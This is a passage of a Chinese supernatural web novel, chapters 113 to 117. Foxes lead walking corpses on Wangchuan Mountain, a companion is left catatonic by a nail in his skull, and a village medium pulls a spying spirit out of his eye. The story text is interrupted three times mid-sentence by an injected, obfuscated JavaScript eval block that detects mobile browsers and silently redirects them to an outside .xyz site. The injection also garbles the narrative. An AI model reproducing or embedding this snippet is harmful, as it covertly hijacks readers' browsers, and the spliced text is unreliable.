那只狐狸人模狗样,走的一板一眼,不多久,绳子另一端的东西也跟着出现在视线中。 我和玉芬都吃了一惊,因为绳子的另一端,真的套着一个人。 那个人跟在狐狸后面,脚步僵直缓慢,除了两条腿在动,其余的部位就像是一块木头。 狐狸抓着绳子在前面走,这个人就慢吞吞的在后面跟随,这一幕情景,就和传说中的巡山狐狸一模一样。 我心里的危机感不由自主的在加剧,我觉得那几只狐狸肯定已经知道,我们隐藏在这边,现在的情况还是让人摸不着头脑,也没有什么对策,除了被动的等下去,我真不知道该怎么办。 我的脑袋一直都在嗡嗡作响,那种无力感越来越重。以前没来王川山的时候,我总觉得从师傅那里学了手艺,懂一些压棺镇尸的皮毛,还会些拳脚功夫,足够出来混迹江湖了。 可是前后两次来到王川山,所遇见的麻烦都不是我一个人可以应对的。只有到了这儿,才知道自己其实真的是百无一用。 就在这个时候,从那边吹来了一阵轻微的山风。这个季节的山里,时常都会刮风,并不稀奇,我的注意力都在那几只狐狸身上,也没有在意。 然而,这阵风吹来的同时,我们三个人就在风中闻出了一股很难闻的气味。 “这是……这是什么味儿啊……难闻死了……” 大甜瓜赶紧捂着鼻子,小声嘀咕了两句,她没有多少经验,可我和玉芬一抽鼻子,立刻就能分辨出,这是尸臭。 闻到这股并不算太浓烈的尸臭,再朝着前方望去的时候,我的心就猛然一沉。 那个被狐狸用绳子套着的人,猛然看上去好像看不出什么,但多看两眼就会发现,那人身上的衣服千疮百孔,烂的一团糟。 而且,对方脸庞,双臂,小腿,都已经烂了,风里夹杂的臭味,其实就是从他身上传出来的。 这一瞬间,我突然察觉到,被狐狸套着的那个人,应该是个死人。 死人不可能自己走动,但是我也看不出来,到底有什么外力在影响它。 要知道,死去的人至少也有一百来斤,如果只靠着那些杂七杂八的微末伎俩,是绝对无法让尸体这样直立行走的。 这时候,我一下子就想起大甜瓜之前说过的那段传闻。 大甜瓜说,白八门的宗师宋连子从那个天竺老人那里学到了“觉”,又把这东西传授给了几个人。附身控制各种尸体的,称作下觉,我不敢确定自己的想法,但眼前的情景,就和当初在石壁裂痕那边遇到的那条死狗一样。 这附近难道还有人? 心里的那种危机感几乎控制不住了,我一直觉得,是那个姑娘在暗中尾随我们,下觉也是那姑娘施展出来的,现在她已经走了,可类似的情况又一次发生,这只能说明,附近肯定有人。 对方的身份,是无法去判定的,宋连子当时带回内地的法门,传授给了几个人,那几个人又各自开枝散叶,传授给别的人,一直到今天,已经无法追溯。 这里的地势这么复杂,如果对方不肯露面,根本就找不到人家藏在什么地方。 现在实在是没有别的办法,只能被动的留守在原地,看看事态的变化。 第一只狐狸就这样牵着一个已经死去不知道多久的人慢吞吞的走了出来,紧跟着,第二只狐狸也抓着绳子从草丛后面现身了,它手中的绳子,也套着一个人。 那人和前面的死人一样,脚步僵直,全身上下好像只有两条腿在动。我看的比较清楚,第二个人是个女人,估计有四十多岁的样子,身上的皮肉腐烂的已经很严重。 她一边慢慢的跟着狐狸朝前走,身上那些烂肉和尸水,就不断的掉落,啪嗒啪嗒流了一地。 虽然那两只狐狸距离我们还是有十来米,可是看到这样的情景,我恨不得把后槽牙都给咬碎。 随即,第三只,第四只狐狸,依次出现,每只狐狸都牵着一个死人。前前后后,一共有五只狐狸。 这些狐狸牵出尸体,直接就把前行的小路给堵死了,我已经做好了一切准备,如果情况不妙,能及时的后撤,也能全力反击。 然而,这几只狐狸把尸体给牵出来以后,似乎并没有攻击我们的打算,它们不约而同的丢下绳子,然后一步一步又退了回去,重新退到了那一片茂密的杂草跟前,一个挨着一个的钻到了草里。 杂草非常茂盛,再加上距离和光线的原因,狐狸一钻进去,就彻底消失了。 视线中就剩下那几个被牵出来的死人,和木头桩子似的,直挺挺站在那边,一动不动。 第113章 死人的声音 我们三个人都蒙圈了,不知道那几只狐狸搞的究竟是哪一出。 “五满,这是咋回事?那几只狐狸都跑了,就把这几个死人撇在这儿,到底想干啥?” “我怎么能知道它们想干啥?先别莽撞。” “真不行的话,咱们朝后面退退吧,我怎么老觉得不踏实……” 玉芬的这句话还没有说完,草丛那边沙沙的响了响,玉芬急忙闭上了嘴巴。 草丛里没有出现什么东西,但是,有一阵声音从草丛里传了出来。 那种声音很奇怪,就好像一只公鸡被掐住了脖子,又好像石头和石头在轻轻的碰撞。声音越来越快,也越来越密集,渐渐的,那声音就变成了一句模模糊糊的话。 “请你们……请你们看戏……” 当这句话落到耳朵里之后,声音戛然而止,草丛那边的沙沙声也跟着消失。 我唯恐自己听的不清楚,急忙转头问道:“刚才的声音,你们俩听到了吗?” “听到了……”大甜瓜抢着说道:“好像是,好像是请你们看戏……” 一听大甜瓜的话,我就知道刚才那阵声音不是幻觉。 请你们看戏?这到底是什么意思? 哐当…… 这时候,已经停止波动的草丛后面,突然传来了一阵破锣的声音,这样的锣声,对我和玉芬而言是再熟悉不过了。乡下办白事,一般都会请个响器班子,过来吹吹打打,我们平时给人家帮忙,每次都能听到锣鼓的声音。 这肯定是锣声,只不过是破锣。 哐当哐当的锣声一阵接着一阵,当锣声有节奏的响起时,那几个直挺挺站在前方的死人,突然就开始动了。 它们的动作仍旧非常的僵硬,但是举手投足之间,真的像是唱戏的大花脸在戏台上辗转腾挪。 随即,几个死人的嘴巴,都慢慢的张大了。 而且,它们的嘴巴开合的程度,让我感觉非常震惊,一张张嘴巴,就好像脸庞上的一道裂缝,一直咧到耳朵根,好像要把整个脑袋一分为二。 情景越是诡异,我的感觉就越不好,我轻轻冲着玉芬挥了挥手,示意他带着大甜瓜朝后面退。眼前这一幕,让人噤若寒蝉,我不知道接下来还会发生什么,就觉得自己对付不了。 当玉芬和大甜瓜准备后退的那一瞬间,几个死人的嘴巴里,就发出了咯咯的声音。它们一边僵直的舞动身躯,喉咙里一边咯咯不停,这样的咯咯声,仿佛带着魔力,让我的耳朵连同半截身躯一下子就麻木了。 咯咯的声音交织成了一片,我不知道这到底是怎么回事,但半截身躯好像真的麻了。 我急忙挣扎着回过头,玉芬和大甜瓜估计这时候也很不好过,两个人呆呆的站在原地,身躯和四肢都在无意识的颤动,眼珠子也在眼眶里不停的打转。 很显然,他们两个必然也受到了这种声音的影响。 我的脑子越来越乱,肩膀上就仿佛突然压上了一块大石头,沉重的连腰都直不起来。 我拼尽全力,使劲的朝后面退了一步,此时此刻,要是精神出现了什么问题,后果绝对是万劫不复。 我一步一步的后退,全力在跟这种诡异的声音抗争。我觉得自己的状态还算是可以的,毕竟还能知道自己身在何处,可是玉芬和大甜瓜就明显不行了,还没等我反应过来,两个人突然从原地一蹦,跟着就朝旁边发了疯一样的狂奔。 小路两旁的地形有点复杂,到处坑坑洼洼,有些地方的坡度很大,还很深,人要是失足摔落下去,非死即伤,我顿时慌了神,急忙伸手去拉。 但此时此刻,我的反应也比不上平时,慢了那么一步,大甜瓜朝着后面跑,玉芬朝着右边跑,两个人各自蹿出去了至少有十几米远,眼下我只能追上一个,玉芬再怎么说也是个男人,比大甜瓜强一些,我咬了咬牙,急忙朝着大甜瓜那边追了过去。 大甜瓜这时候跑的很快,一边跑,两只手一边抓着自己的头发,我虽然心里很急,但又不敢放开了拼命去追,在这个时候要是把脚给崴了,或者是摔到了腿,后果就非常严重。 我不敢拼命,大甜瓜却不顾一切,玩儿命一样的朝后面跑,所幸的是,她一直沿着那条小路在跑,暂时没有滚落到路边的沟壑里。 就这样你追我赶,一直跑出去很远,大甜瓜的体力估计是跟不上了,速度逐渐慢了下来,我抓住这个机会,硬着头皮狂冲过去,一把拉住了她的胳膊。 大甜瓜还在挣扎,被我死死的按在地上。 “甜瓜姐!是我!你别动!” 大甜瓜对我的话,似乎充耳不闻,这一刻,我头大如斗,又隐隐觉得这里面一定有什么蹊跷。大甜瓜和玉芬在王川山这边,很容易就会被什么影响到神智,俩人神智失常已经不是第一次了。 我不知道这到底是不是必然,眼下也顾不上去回想这些,使劲的按着大甜瓜,避免她再挣扎着跑出去。 大甜瓜挣扎了一阵子,好像就渐渐平静了,这时候,我们距离刚才的地方已经很远,那几个死人发出的咯咯声完全绝迹,听不到这声音,大甜瓜明显就好了些。 我把大甜瓜扶起来,心里又在担心玉芬,那边的情况未知,说不准还有更大的危险,可是把玉芬丢下不管,我又做不到。 我和大甜瓜开始朝回走,等我们走回到刚才跑散的地方附近时,我就让大甜瓜停下来,躲到一旁,然后凝神注目,朝着小路的远处望去。 小路那边空了,几个死人已经无影无踪,我慢慢迈动脚步走过去,又走了几步之后,我看到那边的地上躺着一个人,从身上的衣着来看,肯定是玉芬。 我不敢冒进,还是很小心的一点一点靠拢过去,一直走到离玉芬还有几米远的地方,停下来观察了一下。 那几个死人不见了,旁边的草丛好像也恢复了平静。只剩下玉芬一个人,仰面朝天的躺在地上。 “玉芬!” 我心里涌动着一种很不妙的感觉,玉芬这人的性格就是闲不住,除非是彻底不能动了,才会消停下来。 我三步并作两步冲到跟前,本来以为玉芬肯定是失去知觉了,等我到他面前才看到,玉芬的眼睛还是睁着的。 他睁着眼睛,就仿佛在思考什么问题出了神。 第114章 鬼头钉 玉芬现在的状况让我琢磨不透,他的眼睛是睁开的,而且眼神还比较清澈,和那种神智失常的人不一样。神智一旦失常,眼神必然混乱而且茫然。 “玉芬?” 我拉了他一下,玉芬一点反应都没有,我拍了拍他的脸,他连动也没动。 他的呼吸还有脉搏,都很正常,身上也没有血迹和伤口,我不清楚好端端的人怎么会变成了这样。 我赶紧把玉芬硬拖到了一旁,刚才我只顾着先去追赶大甜瓜,这段时间里玉芬究竟遭遇了什么,我根本就不清楚。 玉芬似乎彻底的失去了行动能力,就好像一个植物人似的。 “玉芬,你能听到我说话吗?能听到,就眨眨眼睛。” 我趴在他耳朵边,一个字一个字的说了一遍,但是玉芬仍旧没有任何反应,就是傻愣愣的睁着双眼。 周围似乎真的安静了下来,刚才那几只狐狸出没过的痕迹也都消失的干干净净,我一阵头大,急忙回去把藏在那边的大甜瓜给喊了过来。 “他是咋回事啊?”大甜瓜趴在玉芬面前,仔细的看了看,她以前天天跟着铁拐李,虽然没学到什么东西,不过有些情况至少是目睹过的。 但玉芬现在的状态,大甜瓜以前也没有遇到过,神智失常的人,要么就是精神受到了强烈的刺激,要么就是民间俗称的“丢魂”,只是玉芬的样子,似乎跟着两种情况都印证不上。 “小哥,现在可怎么办啊……他……他一直躺在这儿,会不会死啊……” “你捡着吃的喝的带上一点,别的东西都不要了。” 我把玉芬架起来,背在身上,不管玉芬的状况如何,一直留在这片鸟不拉屎的荒山里,只会越来越糟糕,还是得出山之后再说。 我背着玉芬就朝前走,最开始的时候,我还害怕会继续遭遇什么意外情况,不过走到将近天亮,一切似乎都平静了下来。 背着一百多斤的人赶路,很消耗体力,到了天亮的时候,我实在是走不动了,只能停下来休息。 我把玉芬放下来,他还是睁着眼睛躺在那一动不动,我觉得他不会无缘无故就变成这样,中间肯定有什么原因。 我已经把玉芬浑身上下都检查过了,没有发现什么外伤,可是心里一直觉得不怎么踏实,趁着休息的机会,我又看了看玉芬的情况。 这一次,我觉得身体就算受了看不见的伤,也不至于把人给弄傻,如果真有问题,应该还是在脑袋上。 我慢慢的看了看玉芬的脑袋,他的头发上沾满了尘土和草屑,脸庞和脖子上,只有轻微的擦伤,最多也就是蹭破了一层皮,不会产生多大的影响。 我还是不甘心,一点点的扒开玉芬的头发,这一次,当我缓缓的检查到后脑壳的时候,一下子就在头发里面,看到了一个只有绿豆大小的黑点。 那个黑点,紧紧贴着玉芬后脑勺的头皮,被浓密的头发遮挡着,如果不是扒开头发认真的看,是绝对看不出来的。 我凑近了一点,随即就看出来,这个绿豆大小的黑点,好像是一颗钉子的钉帽。 一看到这儿,我顿时就明白了,以前就听人说过一些铁钉灌顶之类的命案,铁钉灌顶,要么就是杀人,要么就是害人,反正肯定不会有好事。 玉芬变成现在这样子,绝对和后脑勺上的钉子有关。 “哎呀,这是钉子啊!”大甜瓜也看到了玉芬头皮上的那个钉帽,顿时打了个哆嗦:“铁钉灌顶!这是……这是有人害他……” “你以前见过吗?” “老早以前,见过一次。” 那还是大甜瓜十几岁的时候遇见的事,她到铁拐李家里来送东西,恰好遇见有人来找铁拐李破事。 那个出事的人一天到晚的晃着脑袋,还说着谁也听不懂的话,别人说这是丢了魂儿,得找人喊魂。家属接连找了几个神婆,什么办法都用尽了,却都没有好转,这才跑了三四百里路,找到了铁拐李。 铁拐李听到对方讲述的具体情况之后,就觉得这不是丢了魂儿,最后,他也是在那人的头皮上,找到了一颗鬼头钉。 这种鬼头钉,一般都有倒齿或者是很细的铜丝相连,钉到人身上容易,取出来就很难,铁拐李费了很大的功夫,最后跟当事人的家属立了生死约,这才敢下手。 种下鬼头钉的人,各家有各家的手法,外人想要取下钉子,直接动手肯定不行。最后还是把当事人头上的头骨取掉了一块,才把鬼头钉给拿下来。 “小哥,这是有人要害他啊。” “害他?”我只觉得事情不会那么简单,身处在这样的地方,要是真有人想害玉芬,刚才趁着我去追大甜瓜的时候,对方绝对有能力直接把玉芬给弄死,用不着费劲害他。 我推测不出什么更多的线索,现在只能先带着玉芬出山,然后想办法找找有道行的人,看能不能把玉芬头上的钉子给取掉。 我不敢再耽搁了,只怕多耽搁一会儿,玉芬就会有危险,现在必须早点出山,机会才更大一些。 我强撑着,把玉芬重新背起来,朝着出山的那条路走去,所幸的是,这一次上路之后,一直没遇见什么麻烦,虽然一路上费了老劲,差点把我给累吐血,但最终还是平安的走出了山口。 出了山口之后,还要走至少三十多里,才能找到人居住的村子,大甜瓜看我实在是背不动了,就用几根树枝兜着两件衣服,弄了个简易的担架,两个人抬着玉芬,全力朝有人烟的地方赶去。 就这样又走了大概二十多里,我觉得自己的肺随时都会爆炸,正在大口喘气的时候,就听到不远处有拖拉机的声音。 拖拉机冒着黑烟,从旁边的路上突突的开了过去,这附近村子少,人也很热情,开拖拉机的人发现我们之后,直接就停了下来,过来询问了一下情况。 第115章 看香破事 距离王川山最近的村子,叫做齐家营,这个开着拖拉机的人就是齐家营的。我和大甜瓜抬着玉芬,相当的吃力,幸好遇见了这个好心人,人家什么都没说,直接让我们上了拖拉机。 这里距离齐家营已经不算太远了,开着拖拉机的人一边前行,一边不断的回头跟我说话。对方姓齐,叫齐山宝,土生土长的本地人,我们相遇的很匆忙,齐山宝还不清楚玉芬具体是什么情况,就问我现在要到什么地方去,如果不是太远,他可以送我们一程。 此时此刻,我也非常的迷茫,玉芬现在的状态,真和植物人一样,身体别的地方看不出什么不良症状,但就是睁着眼睛,一动不动。 根据我的经验,玉芬的事情,还得需要人来破事,我也不想再折腾了,问道:“山宝大哥,我们已经走了很远的路了,你们村子里有没有能落脚的地方?我们不挑,是个地方就行,先安顿两天。” “落脚的地方多的是,你们坐好了,我这拖拉机真跑起来,老快了。” 齐山宝真的是个热心肠,直接把我们带回了齐家营,这村子不算小,两百来户人家,到了村里之后,齐山宝直接把拖拉机停到一个院子附近,跟着就跳了下来,冲我招了招手。 我们俩朝旁边走了走,齐山宝回头看看拖拉机上的玉芬和大甜瓜,说道:“兄弟,你们三个人,到底是干啥的?” 我一听对方的话就明白了,在王川山附近,很少会有赶路的人,再加上玉芬的状况的确是不对头,齐山宝虽然把我们带了回来,但至少要知道是怎么回事。 我也不想编谎话去欺骗人家,真说了谎,被人家拆穿,那就不知道怎么收场了。 “山宝大哥,不瞒你说,我们三个人去了王川山,结果……在山里遇见了巡山狐狸,你知道巡山狐狸吗?” “我们村子就挨着王川山,咋可能没听说过巡山狐狸,哎呀兄弟,你说好端端的没啥事,你跑到王川山里头去干啥?” “我们三个都不是这儿的人,从老远的地方来的,听人家说,王川山里能采到不少药材。” “谁跟你们说的?那不是纯坑你们吗?行了,先别说了,进屋吧。” 齐山宝问清楚了情况,再联想到玉芬的样子,就不再怀疑了,把我们让进了院子。这院子是齐山宝的父亲专门给他盖的,齐山宝结了婚以后,还是和父母住在一起,院子空闲了好几年。 我把事情跟齐山宝说清楚以后,他就给我们了点建议。虽然这十几二十年里头,齐家营这边的人都不敢到王川山去了,但以前发生过的事情,距离现在还不远,齐山宝不知道听村里人说起过多少关于王川山的故事。 巡山狐狸的事情,齐山宝也是知道的,他说,这样的情况找医生大夫都没啥用,只有去找那些破事的巫婆神汉才可以。 “兄弟,你从外地来的,不知道这边的情况,要说起巫婆神汉,我跟你介绍一个,我们这村子,还有附近那些村子的人,要是有了什么乱七八糟的事,都是去找这个人的,灵验。” 听着齐山宝说起这些,我心里其实一直拧着个疙瘩,因为玉芬出事前后的经过,我仔细的回想了不止一次,我总觉得,我们遇见的虽然和传说里的巡山狐狸一样,但是,我不太相信,巡山狐狸会在玉芬的后脑勺上留下一枚钉子。 要知道,把一枚钉子钉到人的头上,只让人变得不能动弹,还不能把人弄死,这完全是个技术活,需要很高超的手法还有丰富的经验。 我很怀疑,给玉芬留下这枚钉子的,一定是人。 可我不能把这些全都说出来。 归根结底,这种事的确是要找那些巫婆神汉先给看一看。 齐山宝知道我心里焦急,所以也没有耽误时间,稍稍收拾了点东西,又带着我们去找人。 他说的这个看香破事的人姓钱,当地人都喊她钱婆。我没见过钱婆,也没听说过,但齐山宝说钱婆很灵验,我别无选择,现在只能相信。 钱婆的住处离这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452467|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概二十多里,齐山宝开着拖拉机,我们的行程就快了一些,到钱婆家里的时候,正是半下午。 有三四帮人比我们先到,钱婆这儿的规矩就是先来后到,我们只能在外面等。 我也不知道前面这些人来找钱婆办什么事,反正都挺浪费时间,轮到我们的时候,差不多就到黄昏时分了。 像钱婆这样的人,一般对人都是毫无表情,冷冰冰的,直接撂下一句话,说是天太晚了,有什么事明天再来。 齐山宝就赶紧上去帮我们说话,他是本地人,以前估计也跟钱婆见过面,钱婆这人,估计是那种面冷心热的人,齐山宝央求了一会儿,钱婆就让开一条路,让我们把人抬进去。 我知道看香的规矩,把身上的钱都搜罗了一下,只留下点零头,剩下的都给了钱婆。 我这边刚把钱塞给钱婆,钱婆顺口问了一句,说抬进来的人是怎么回事,齐山宝就忙不迭的说是在王川山那边遇见了巡山狐狸。 “巡山狐狸?”钱婆皱了皱眉头,一看她的表情,就意味着事情肯定很棘手。 “是遇见了巡山狐狸,然后,人就变成这样了。” “没什么事,跑到王川山做什么……”钱婆的眉头紧皱,看了看躺在地上的玉芬,神情间似乎有点犹豫。 我就害怕她突然反悔,立刻又恳求起来,钱婆琢磨了一会儿,说道:“把人抬到那边的屋子里去,我破事的时候,不能有外人在场,你们都在外头等着。” 齐山宝赶紧帮我一起把玉芬抬到了屋里,这小屋和别的看香人的小屋都差不多,门窗一直紧闭,屋里有张小小的供桌,充斥着一股烟熏火燎的香火气息。 把人抬进去之后,我和齐山宝就退了出来,到院门跟前等,前后大概有半个小时时间,钱婆走了出来,我赶紧迎上去,伸头朝小屋里看了看,就看到玉芬还是躺在里头,一动不动。 “把人抬走吧,我看不了。”钱婆顺手把我之前付给她的钱又塞了回来。 第116章 眼中的影子 一看到钱婆把钱给退回来,我的心就凉了,做他们这一行的,只要是退钱,必然意味着事情很麻烦,他们管不了。 只不过,我也没有再勉强,当场就是我找铁拐李去破事,硬求着他帮忙,最后才把他给拖累了。 我很想救玉芬,但救玉芬却不能把别人的命也给搭上。 “大娘,多谢了。”我把钱又递了回去,说道:“一码归一码,事情能办成不能,这都是该付的。” “我不是那个意思。”钱婆摇了摇头,说道:“那人的状况,我已经看了,我不是现在赶你们走,只是跟你说,我没有把握。我这里的规矩,和别人家的规矩不一样,看香破事,是祖师爷赏给我们的吃饭本事,事情办成了,给人家排忧解难,我拿了报酬也不亏心,事情办不成,钱就不能装自己兜里。” “大娘,我朋友还有……还有转机的机会吗?” “有没有转机的机会,我吃不准,要不然也不会说这些话,只是……你这朋友,是有些奇怪。” “怎么奇怪?” 钱婆没有马上回答,朝那边瞥了一眼,齐山宝知道钱婆的规矩,所以我和钱婆说话时,他和大甜瓜就在院门那边守着。 钱婆似乎是有点担心,不肯再让别人听到她说的话,看到齐山宝和大甜瓜都没动弹,钱婆就压低了些声音,说道:“他后脑上,有一枚钉子。” “是,我也看到了,就是不知道该怎么把钉子给取出来。” “刚才我已经试过了,喊不醒他,小伙子,实话实说,要是换了别人,就算我取不出他头上的钉子,但至少能把他喊醒,让他清醒个三五分钟,把该说的话说了,但你这朋友……跟别人不一样。” “大娘,他究竟是啥情况?” “你来。” 钱婆把我带进小屋,这时候天色已经暗了,小屋的窗户紧闭,光线非常暗淡。钱婆点燃了一盏很小的油灯,端着油灯来到了玉芬跟前。 她把油灯放在玉芬的脸庞左侧,玉芬还是和之前一样,睁着眼睛,连眼皮子都不眨一下。 “大娘……” 我不明白钱婆究竟要做什么,刚想开口问她,钱婆冲我做了个噤声的手势,然后轻轻指了指玉芬的左眼。 一直到这时候,我才反应过来,钱婆是让我仔细看看玉芬的眼睛。 玉芬的眼睛我不知道观察了多少次了,从来没有发现什么异常,现在钱婆一说,我就压低了身子,几乎趴到玉芬的脸上。 旁边那盏小油灯,燃烧着豆子一般的火光,虽然暗淡,可是等我伏低了身躯以后才知道,就这么一小团火光,似乎已经把玉芬的眼睛彻底的照透了。 我凝神继续观察,看了一会儿,心头突然一动,猛然抬头看了看钱婆。 钱婆肯定是不方便说话,才会对我打手势,她依然不开口,只是示意我接着看。 玉芬的左眼,看上去似乎没有什么毛病,但是在这盏油灯的映照下,我突然看到,在他眼球的正中间,似乎有一个不易觉察的黑点。 那个黑点,就和芝麻粒一样大小,肉眼很难看清楚,此时有了油灯的映照,这个黑点才彻底显出了原型。 那是一团很小很小的影子,而且,我已经看出来了,影子是一只狐狸,蜷缩着身体,趴在那里。 我心中的惊讶,溢于言表,但是我知道,钱婆不肯开口,必然是有原因,因此,我强/压着心中的疑惑,暂时没有出声。 等到我完全看清楚了,钱婆又把我带出了小屋,出了屋子,她才轻轻吁了口气,说道:“在他身边,不能多说,他眼睛里的狐狸,会听到我们说的话。” “这到底,到底是什么东西?” “这是有人一直在盯着他,或者说,一直在盯着你们。” 我的脑袋一下子就大了,玉芬眼睛里的狐狸影子,必然也是给他留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461341|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下那枚钉子的人埋下的伏笔。钱婆不提醒,我就看不出玉芬左眼的影子,如此一来,不管我们到了什么地方,或者说了什么话,只要守着玉芬,他眼睛里那只狐狸很有可能都会知道。 我顿时就产生了很深的疑虑,玉芬左眼里的影子,得想办法给赶出去,否则的话,我们的行踪,还有意图,随时都可能会泄露出去,被对方给牢牢掌控。 “大娘,现在不求你把我朋友给救醒,他眼睛里的那团影子,能不能赶出去?” “换了别的人,估计帮不上你这个忙,不管是谁,想要赶走他眼睛里那只狐狸,肯定要惊动狐狸背后的人,别的看香破事的人,是不会招惹这种麻烦的。不过,在我这儿,你倒是可以放心,我有法子。” “大娘,那就请你给帮帮忙。” “现在快到子时了,不是动手的时候,要过了子时再说,你不要声张,跟门口那两个人,也别说那么多,你们就到这边的屋里去呆着,我什么时候喊你,你什么时候出来。” “好。” 我赶紧带着齐山宝和大甜瓜进了另一边的屋子,这屋子是钱婆平时烧火做饭的地方,三个人呆在这里,感觉很不适应,我时不时的就透过窗子,朝外面张望一眼。 钱婆跑到院子的一个角落,在那边捣鼓着什么,我也看不清楚,她捣鼓了好一会儿,估计是忙完了,就一个人坐在院子里,好像入定了似的。 我们三个人身上都没有手表,也不知道过了多长时间,这时候,钱婆抬头看了看天色,随后就冲着这边招了招手。 我一个人走了出来,钱婆就吩咐我,把玉芬给背出来,背到院子的那个角落里。 我背着玉芬,一直走到院子一角的时候,才发现角落里有一口井。 这种井,都是以前取水用的,井估计已经干涸了,而且被埋了起来,钱婆刚才在这里忙活,其实就是把掩埋的井口重新挖了出来。 第117章 有所好转 我把玉芬背到井口这里,钱婆没有说话,只是示意我把玉芬弄到井下去。 这就是家户里以前使用的水井,井口不大,只够一个人下去,我没办法背着玉芬直接下,就先在上头固定了绳子,然后把玉芬慢慢的给吊到了下头。 紧接着,我也顺着井里一架小梯子爬了下去,钱婆进来之后,伸手用井盖盖住井口,然后贴/上去一张符。 这一瞬间,我就感觉这口井跟外界完全隔绝了,仿佛置身在一个独立于天地之间的小世界,外面所有的声音都无法传播进来,相应的,井里所有的动静也传不出去。 我顺着梯子朝下面爬的时候,就看到井壁上面到处都是密密麻麻的字符,还有造型很抽象的人像。 “好了,到这里来就安全了,说什么,做什么,外头的任何人都不可能知道。” “大娘,让你费心了。” 我道了谢,很快就爬到了井底,这口井干枯了很多年,井底被挖宽了一些,估计也是钱婆专门用来做法事的一个地方。 我把玉芬摆正,然后就坐到一旁,看着钱婆把玉芬左眼里面的那团影子给弄出来。 此时此刻,我心里其实还是有疑惑的。我敢确定,就是当时在山里遇见了巡山狐狸,我去追赶大甜瓜之后,玉芬才遭遇了危险。有人专门在他的后脑勺上钉了一枚钉子,而且,对方还很隐蔽的在玉芬的眼睛里留下一团小小的影子。 让我感觉疑惑的是对方的意图,他不把玉芬直接弄死,故意留了玉芬一条命,却又要时时刻刻的用那团影子来窥视我们的言行举止,这究竟是要干什么? 心底的疑惑,一时半会肯定无法解开,我暂时也就不想了。 钱婆点燃了一支很细的香,另只手拿着一只玻璃瓶子,这是个造型很奇特的玻璃瓶,平底有一个用朱砂写出来的“禁”字。 被点燃的香散发着一条细如毛发的烟气,这缕烟气凝而不散,飘飘袅袅的在玉芬的额头和眼眶来回的缭绕,一根香燃烧一大半之后,飘绕的烟气就如同一团柔顺的头发,把玉芬的额头完全给盖住了。 我没有相关的经验,一声都不敢吭,只在一旁默默的看。 当那支香彻底燃尽的时候,我还没看清楚是怎么回事,钱婆拿着玻璃瓶的手猛然一挥。这老太婆看起来上了岁数,平时做什么都慢慢吞吞的,但此时手脚却分外的麻利,拿着瓶子挥了一下,紧跟着就盖上了瓶盖。 “好了,他眼睛里的影子被弄出来了,就在这里。” 钱婆轻轻晃了晃玻璃瓶,这只瓶子本来被洗的很干净,一尘不染,但瓶盖被盖上之后,我看到瓶子里面好像充盈着一股水汽,没过多久,就有一些细小的水珠挂在了瓶子的内壁上。 “大娘,这是什么东西?怎么水汽这么重?” “把这东西放到他眼睛里的人,看起来不是泛泛之辈啊。”钱婆把玻璃瓶举到自己的面前,仔细看了看,说道:“这是水魄。” 钱婆所说的水魄,也叫做“雾妖”,据说就是那些被淹死的动物的怨灵所化的。这种怨灵和人的怨灵不一样,带着浓重的水汽,平时要养在瓶子里,如果要让它们附着在人身上,也就只能藏在眼睛中。 水魄常年被养在瓶子里,需要用的时候,把它们放出去,在瓶子里,就会留下一道很淡很淡的影子。水魄不管离开瓶子多远,那一抹很淡的影子都不会消失。 而且,水魄看到了什么,听到了什么,养水魄的人都可以通过瓶子里留下的影子进行推断。 这玩意儿只要钻到眼睛里,不用特殊的手段就不可能把它们赶出来,会一直跟着附体的人。 唯一值得庆幸的是,水魄在玉芬的眼睛里,也不是耳听八方的,只要距离玉芬稍远一点,水魄就查探不到什么情况。 现在完全可以确认了,在王川山对玉芬下手的人,应该就是想不断的窥视我们之后的举动。 我有点想不明白,对方会是什么人?如果真对我们有敌意,干脆动手把我们给弄死就拉倒了,可他们偏偏不这么做,非要用水魄附着在玉芬身上。 这些人究竟想要干什么? 我猜不出来这些,现在让我担心的是钱婆会不会受到什么牵连。 “大娘,瓶子里的水魄,能解决掉吗?” “这东西是不能离开水的,不用它的时候,必须要在水里养着,没有水,几天就散了,把这个瓶子放在井里,消息传不出去,不会有什么事。” “那就好。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461342|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是他后脑上的钉子,却很麻烦,我不敢下手,钉子在他的后脑上,虽然让他醒不过来,可至少一时半会也不会有生命危险,要是一心想要救他,没什么把握却硬取这颗钉子,没准反倒把他给害了,你明白不?” “我知道,这事情的确很棘手,大娘,你也别为难,真不行就算了。” 我虽然很惦记玉芬,但钱婆的话说的有道理,没有把握,硬要救人,说不定会让玉芬直接挂掉。 